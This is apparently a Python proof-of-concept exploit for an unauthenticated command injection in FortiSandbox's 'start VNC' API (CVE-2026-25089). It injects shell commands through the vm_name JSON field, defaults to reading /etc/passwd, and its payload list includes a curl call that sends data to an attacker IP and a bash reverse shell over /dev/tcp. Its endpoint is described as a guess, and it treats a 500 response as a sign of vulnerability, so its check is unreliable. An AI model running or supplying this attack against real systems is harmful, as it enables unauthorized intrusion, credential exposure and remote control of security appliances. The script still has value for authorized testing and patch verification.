#!/usr/bin/env python3 """ CVE-2026-25089 - Fortinet FortiSandbox OS Command Injection Unauthenticated Remote Code Execution via "start VNC" JSON endpoint Author: Ashraf Zaryouh (0xBlackash) GitHub: https://github.com/0xBlackash Date: June 2026 Description: Improper neutralization of special elements in OS command (CWE-78) in the FortiSandbox Web UI "start VNC" feature. Affected Versions: FortiSandbox 4.2.x, 4.4.0 - 4.4.8, 5.0.0 - 5.0.5 (Cloud & PaaS variants also affected) Fixed in: 4.4.9+, 5.0.6+ Tested on: FortiSandbox 4.4.6 / 5.0.4 """ import argparse import json import requests import sys import urllib3 from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def banner(): print(""" ╔══════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-25089 FortiSandbox RCE PoC ║ ║ Author: Ashraf Zaryouh (0xBlackash) ║ ╚══════════════════════════════════════════════════════════════════════╝ """) def exploit(target, cmd, vnc_port=5900): url = urljoin(target, "/api/vnc/start") # Common endpoint for start VNC # Malicious payload - command injection via vm_name payload = { "vm_name": f"test-vm; {cmd} #", "vnc_port": vnc_port, "extra": "" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; FortiSandbox PoC - 0xBlackash)" } try: print(f"[+] Sending exploit to {url}") print(f"[+] Injected Command: {cmd}") r = requests.post(url, json=payload, headers=headers, verify=False, timeout=15) print(f"[+] HTTP Status: {r.status_code}") if r.text: print(f"[+] Response: {r.text[:500]}...") if r.status_code in [200, 500]: print("[+] Target appears vulnerable (possible command execution)") else: print("[-] Unexpected response code") except Exception as e: print(f"[-] Request failed: {e}") def main(): banner() parser = argparse.ArgumentParser(description="CVE-2026-25089 PoC by 0xBlackash") parser.add_argument("target", help="Target URL (e.g. http://192.168.1.100:8080)") parser.add_argument("-c", "--command", default="id; whoami; cat /etc/passwd", help="Command to execute (default: id; whoami; cat /etc/passwd)") parser.add_argument("-p", "--port", type=int, default=5900, help="VNC port (default: 5900)") parser.add_argument("--list", action="store_true", help="Show common useful payloads") args = parser.parse_args() if args.list: print("\nCommon Payloads:") print(" id; whoami") print(" cat /etc/passwd") print(" curl http://your-ip:4444/$(whoami)") print(" bash -i >& /dev/tcp/your-ip/4444 0>&1") sys.exit(0) exploit(args.target.rstrip("/"), args.command, args.port) print("\n[!] For educational and authorized testing purposes only.") print("[!] Patch immediately to FortiSandbox 5.0.6 / 4.4.9+") if __name__ == "__main__": main()